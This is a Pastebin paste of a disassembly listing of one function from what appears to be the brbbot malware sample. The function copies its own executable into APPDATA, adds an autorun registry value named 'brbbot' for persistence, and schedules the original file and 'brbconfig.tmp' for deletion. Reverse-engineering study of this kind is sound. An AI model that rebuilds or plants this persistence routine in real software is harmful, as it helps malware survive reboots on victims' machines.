Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- .text:0000000140002230
- .text:0000000140002230 sub_140002230 proc near ; CODE XREF: wWinMain+43↓p
- .text:0000000140002230 ; DATA XREF: .rdata:00000001400109E0↓o ...
- .text:0000000140002230
- .text:0000000140002230 phkResult = qword ptr -268h
- .text:0000000140002230 cbData = dword ptr -260h
- .text:0000000140002230 hKey = qword ptr -258h
- .text:0000000140002230 Buffer = byte ptr -248h
- .text:0000000140002230 var_247 = byte ptr -247h
- .text:0000000140002230 Filename = byte ptr -138h
- .text:0000000140002230 var_137 = byte ptr -137h
- .text:0000000140002230 var_28 = qword ptr -28h
- .text:0000000140002230 var_18 = qword ptr -18h
- .text:0000000140002230 arg_0 = qword ptr 8
- .text:0000000140002230 arg_8 = qword ptr 10h
- .text:0000000140002230 arg_10 = qword ptr 18h
- .text:0000000140002230
- .text:0000000140002230 ; __unwind { // __GSHandlerCheck
- .text:0000000140002230 push rbx
- .text:0000000140002232 push rdi
- .text:0000000140002233 sub rsp, 278h
- .text:000000014000223A mov rax, cs:qword_140012008
- .text:0000000140002241 xor rax, rsp
- .text:0000000140002244 mov [rsp+288h+var_28], rax
- .text:000000014000224C lea rcx, [rsp+288h+var_137] ; void *
- .text:0000000140002254 xor edx, edx ; Val
- .text:0000000140002256 mov r8d, 103h ; Size
- .text:0000000140002256 ; } // starts at 140002230
- .text:000000014000225C
- .text:000000014000225C loc_14000225C: ; DATA XREF: .rdata:00000001400109E0↓o
- .text:000000014000225C ; .rdata:00000001400109F0↓o ...
- .text:000000014000225C ; __unwind { // __GSHandlerCheck
- .text:000000014000225C mov [rsp+288h+arg_0], rbp
- .text:0000000140002264 mov edi, 8000FFFFh
- .text:0000000140002269 mov [rsp+288h+Filename], 0
- .text:0000000140002271 call memset
- .text:0000000140002276 lea rcx, [rsp+288h+var_247] ; void *
- .text:000000014000227B xor edx, edx ; Val
- .text:000000014000227D mov r8d, 103h ; Size
- .text:0000000140002283 mov [rsp+288h+Buffer], 0
- .text:0000000140002288 call memset
- .text:000000014000228D xor ecx, ecx ; lpModuleName
- .text:000000014000228F mov [rsp+288h+hKey], 0
- .text:0000000140002298 xor ebx, ebx
- .text:000000014000229A xor ebp, ebp
- .text:000000014000229C call cs:GetModuleHandleW
- .text:00000001400022A2 lea rdx, [rsp+288h+Filename] ; lpFilename
- .text:00000001400022AA mov r8d, 104h ; nSize
- .text:00000001400022B0 mov rcx, rax ; hModule
- .text:00000001400022B3 call cs:GetModuleFileNameA
- .text:00000001400022B9 test eax, eax
- .text:00000001400022BB jnz short loc_1400022DB
- .text:00000001400022BD call cs:GetLastError
- .text:00000001400022C3 mov edi, eax
- .text:00000001400022C5 test eax, eax
- .text:00000001400022C7 jle loc_1400024E3
- .text:00000001400022CD movzx edi, ax
- .text:00000001400022D0 or edi, 80070000h
- .text:00000001400022D6 jmp loc_1400024E3
- .text:00000001400022DB ; ---------------------------------------------------------------------------
- .text:00000001400022DB
- .text:00000001400022DB loc_1400022DB: ; CODE XREF: sub_140002230+8B↑j
- .text:00000001400022DB lea rcx, [rsp+288h+Filename] ; Str
- .text:00000001400022E3 mov edx, 5Ch ; '\' ; Ch
- .text:00000001400022E3 ; } // starts at 14000225C
- .text:00000001400022E8
- .text:00000001400022E8 loc_1400022E8: ; DATA XREF: .rdata:00000001400109F0↓o
- .text:00000001400022E8 ; .rdata:0000000140010A00↓o ...
- .text:00000001400022E8 ; __unwind { // __GSHandlerCheck
- .text:00000001400022E8 mov [rsp+288h+arg_10], r12
- .text:00000001400022F0 call strrchr
- .text:00000001400022F5 lea rdx, [rsp+288h+Buffer] ; lpBuffer
- .text:00000001400022FA lea rcx, Name ; "APPDATA"
- .text:0000000140002301 mov r8d, 104h ; nSize
- .text:0000000140002307 mov r12, rax
- .text:000000014000230A call cs:GetEnvironmentVariableA
- .text:0000000140002310 test eax, eax
- .text:0000000140002312 jz loc_1400024DB
- .text:0000000140002318 lea rdx, [rsp+288h+Buffer] ; SubStr
- .text:000000014000231D lea rcx, [rsp+288h+Filename] ; Str
- .text:000000014000231D ; } // starts at 1400022E8
- .text:0000000140002325
- .text:0000000140002325 loc_140002325: ; DATA XREF: .rdata:0000000140010A00↓o
- .text:0000000140002325 ; .rdata:0000000140010A18↓o ...
- .text:0000000140002325 ; __unwind { // __GSHandlerCheck
- .text:0000000140002325 mov [rsp+288h+arg_8], rsi
- .text:000000014000232D mov [rsp+288h+var_18], r13
- .text:0000000140002335 call strstr
- .text:000000014000233A xor esi, esi
- .text:000000014000233C test rax, rax
- .text:000000014000233F mov r13d, 1
- .text:0000000140002345 mov rdi, r12
- .text:0000000140002348 cmovnz esi, r13d
- .text:000000014000234C or rcx, 0FFFFFFFFFFFFFFFFh
- .text:0000000140002350 xor eax, eax
- .text:0000000140002352 repne scasb
- .text:0000000140002354 lea rdi, [rsp+288h+Buffer]
- .text:0000000140002359 not rcx
- .text:000000014000235C lea rdx, [rcx-1]
- .text:0000000140002360 or rcx, 0FFFFFFFFFFFFFFFFh
- .text:0000000140002364 repne scasb
- .text:0000000140002366 not rcx
- .text:0000000140002369 lea rdi, [rdx+rcx+3]
- .text:000000014000236E call cs:GetProcessHeap
- .text:0000000140002374 lea edx, [r13+7] ; dwFlags
- .text:0000000140002378 mov rcx, rax ; hHeap
- .text:000000014000237B mov r8, rdi ; dwBytes
- .text:000000014000237E call cs:HeapAlloc
- .text:0000000140002384 mov rbx, rax
- .text:0000000140002387 test rax, rax
- .text:000000014000238A jnz short loc_140002396
- .text:000000014000238C mov edi, 8007000Eh
- .text:0000000140002391 jmp loc_1400024CB
- .text:0000000140002396 ; ---------------------------------------------------------------------------
- .text:0000000140002396
- .text:0000000140002396 loc_140002396: ; CODE XREF: sub_140002230+15A↑j
- .text:0000000140002396 or rcx, 0FFFFFFFFFFFFFFFFh
- .text:000000014000239A xor eax, eax
- .text:000000014000239C lea rdi, [rsp+288h+Buffer]
- .text:00000001400023A1 repne scasb
- .text:00000001400023A3 lea rdx, [rsp+288h+Buffer] ; Source
- .text:00000001400023A8 not rcx
- .text:00000001400023AB lea r8, [rcx-1] ; Count
- .text:00000001400023AF mov rcx, rbx ; Destination
- .text:00000001400023B2 call strncpy
- .text:00000001400023B7 or rcx, 0FFFFFFFFFFFFFFFFh
- .text:00000001400023BB xor eax, eax
- .text:00000001400023BD mov rdi, r12
- .text:00000001400023C0 mov rdx, r12 ; Source
- .text:00000001400023C3 repne scasb
- .text:00000001400023C5 not rcx
- .text:00000001400023C8 lea r8, [rcx-1] ; Count
- .text:00000001400023CC mov rcx, rbx ; Destination
- .text:00000001400023CF call strncat
- .text:00000001400023D4 lea rcx, [rsp+288h+Filename] ; lpExistingFileName
- .text:00000001400023DC xor r8d, r8d ; bFailIfExists
- .text:00000001400023DF mov rdx, rbx ; lpNewFileName
- .text:00000001400023E2 call cs:CopyFileA
- .text:00000001400023E8 test eax, eax
- .text:00000001400023EA jnz short loc_14000240E
- .text:00000001400023EC test esi, esi
- .text:00000001400023EE jnz short loc_14000240E
- .text:00000001400023F0 call cs:GetLastError
- .text:00000001400023F6 mov edi, eax
- .text:00000001400023F8 test eax, eax
- .text:00000001400023FA jle loc_1400024CB
- .text:0000000140002400 movzx edi, ax
- .text:0000000140002403 or edi, 80070000h
- .text:0000000140002409 jmp loc_1400024CB
- .text:000000014000240E ; ---------------------------------------------------------------------------
- .text:000000014000240E
- .text:000000014000240E loc_14000240E: ; CODE XREF: sub_140002230+1BA↑j
- .text:000000014000240E ; sub_140002230+1BE↑j
- .text:000000014000240E lea rax, [rsp+288h+hKey]
- .text:0000000140002413 lea rdx, SubKey ; "Software\\Microsoft\\Windows\\CurrentVe"...
- .text:000000014000241A mov r9d, 20006h ; samDesired
- .text:0000000140002420 xor r8d, r8d ; ulOptions
- .text:0000000140002423 mov rcx, 0FFFFFFFF80000002h ; hKey
- .text:000000014000242A mov ebp, r13d
- .text:000000014000242D mov [rsp+288h+phkResult], rax ; phkResult
- .text:0000000140002432 call cs:RegOpenKeyExA
- .text:0000000140002438 mov edi, eax
- .text:000000014000243A test eax, eax
- .text:000000014000243C jz short loc_14000244F
- .text:000000014000243E jle loc_1400024CB
- .text:0000000140002444 movzx edi, ax
- .text:0000000140002447 or edi, 80070000h
- .text:000000014000244D jmp short loc_1400024CB
- .text:000000014000244F ; ---------------------------------------------------------------------------
- .text:000000014000244F
- .text:000000014000244F loc_14000244F: ; CODE XREF: sub_140002230+20C↑j
- .text:000000014000244F or rcx, 0FFFFFFFFFFFFFFFFh
- .text:0000000140002453 xor eax, eax
- .text:0000000140002455 mov rdi, rbx
- .text:0000000140002458 repne scasb
- .text:000000014000245A lea rdx, ValueName ; "brbbot"
- .text:0000000140002461 mov r9d, r13d ; dwType
- .text:0000000140002464 not rcx
- .text:0000000140002467 xor r8d, r8d ; Reserved
- .text:000000014000246A and ecx, ecx
- .text:000000014000246C mov [rsp+288h+cbData], ecx ; cbData
- .text:0000000140002470 mov rcx, [rsp+288h+hKey] ; hKey
- .text:0000000140002475 mov [rsp+288h+phkResult], rbx ; lpData
- .text:000000014000247A call cs:RegSetValueExA
- .text:0000000140002480 mov edi, eax
- .text:0000000140002482 test eax, eax
- .text:0000000140002484 jz short loc_140002493
- .text:0000000140002486 jle short loc_1400024CB
- .text:0000000140002488 movzx edi, ax
- .text:000000014000248B or edi, 80070000h
- .text:0000000140002491 jmp short loc_1400024CB
- .text:0000000140002493 ; ---------------------------------------------------------------------------
- .text:0000000140002493
- .text:0000000140002493 loc_140002493: ; CODE XREF: sub_140002230+254↑j
- .text:0000000140002493 mov rcx, [rsp+288h+hKey] ; hKey
- .text:0000000140002498 call cs:RegFlushKey
- .text:000000014000249E test esi, esi
- .text:00000001400024A0 jnz short loc_1400024B6
- .text:00000001400024A2 lea r8d, [rsi+4] ; dwFlags
- .text:00000001400024A6 lea rcx, [rsp+288h+Filename] ; lpExistingFileName
- .text:00000001400024AE xor edx, edx ; lpNewFileName
- .text:00000001400024B0 call cs:MoveFileExA
- .text:00000001400024B6
- .text:00000001400024B6 loc_1400024B6: ; CODE XREF: sub_140002230+270↑j
- .text:00000001400024B6 xor edx, edx ; lpNewFileName
- .text:00000001400024B8 lea rcx, FileName ; "brbconfig.tmp"
- .text:00000001400024BF lea r8d, [rdx+4] ; dwFlags
- .text:00000001400024C3 call cs:MoveFileExA
- .text:00000001400024C9 xor edi, edi
- .text:00000001400024CB
- .text:00000001400024CB loc_1400024CB: ; CODE XREF: sub_140002230+161↑j
- .text:00000001400024CB ; sub_140002230+1CA↑j ...
- .text:00000001400024CB mov rsi, [rsp+288h+arg_8]
- .text:00000001400024D3 mov r13, [rsp+288h+var_18]
- .text:00000001400024D3 ; } // starts at 140002325
- .text:00000001400024DB
- .text:00000001400024DB loc_1400024DB: ; CODE XREF: sub_140002230+E2↑j
- .text:00000001400024DB ; DATA XREF: .pdata:0000000140016144↓o ...
- .text:00000001400024DB ; __unwind { // __GSHandlerCheck
- .text:00000001400024DB mov r12, [rsp+288h+arg_10]
- .text:00000001400024DB ; } // starts at 1400024DB
- .text:00000001400024E3
- .text:00000001400024E3 loc_1400024E3: ; CODE XREF: sub_140002230+97↑j
- .text:00000001400024E3 ; sub_140002230+A6↑j
- .text:00000001400024E3 ; DATA XREF: ...
- .text:00000001400024E3 ; __unwind { // __GSHandlerCheck ; hKey
- .text:00000001400024E3 mov rcx, [rsp+288h+hKey]
- .text:00000001400024E8 test rcx, rcx
- .text:00000001400024EB jz short loc_1400024F3
- .text:00000001400024ED call cs:RegCloseKey
- .text:00000001400024F3
- .text:00000001400024F3 loc_1400024F3: ; CODE XREF: sub_140002230+2BB↑j
- .text:00000001400024F3 test edi, edi
- .text:00000001400024F5 jns short loc_140002504
- .text:00000001400024F7 test ebp, ebp
- .text:00000001400024F9 jz short loc_140002504
- .text:00000001400024FB mov rcx, rbx ; lpFileName
- .text:00000001400024FE call cs:DeleteFileA
- .text:0000000140002504
- .text:0000000140002504 loc_140002504: ; CODE XREF: sub_140002230+2C5↑j
- .text:0000000140002504 ; sub_140002230+2C9↑j
- .text:0000000140002504 mov rbp, [rsp+288h+arg_0]
- .text:000000014000250C test rbx, rbx
- .text:000000014000250F jz short loc_140002525
- .text:000000014000250F ; } // starts at 1400024E3
- .text:0000000140002511
- .text:0000000140002511 loc_140002511: ; DATA XREF: .pdata:000000014001615C↓o
- .text:0000000140002511 ; .pdata:0000000140016168↓o
- .text:0000000140002511 ; __unwind { // __GSHandlerCheck
- .text:0000000140002511 call cs:GetProcessHeap
- .text:0000000140002517 mov r8, rbx ; lpMem
- .text:000000014000251A xor edx, edx ; dwFlags
- .text:000000014000251C mov rcx, rax ; hHeap
- .text:000000014000251F call cs:HeapFree
- .text:0000000140002525
- .text:0000000140002525 loc_140002525: ; CODE XREF: sub_140002230+2DF↑j
- .text:0000000140002525 mov eax, edi
- .text:0000000140002527 mov rcx, [rsp+288h+var_28]
- .text:000000014000252F xor rcx, rsp ; StackCookie
- .text:0000000140002532 call __security_check_cookie
- .text:0000000140002537 add rsp, 278h
- .text:000000014000253E pop rdi
- .text:000000014000253F pop rbx
- .text:0000000140002540 retn
- .text:0000000140002540 ; } // starts at 140002511
- .text:0000000140002540 sub_140002230 endp
Advertisement
Add Comment
Please, Sign In to add comment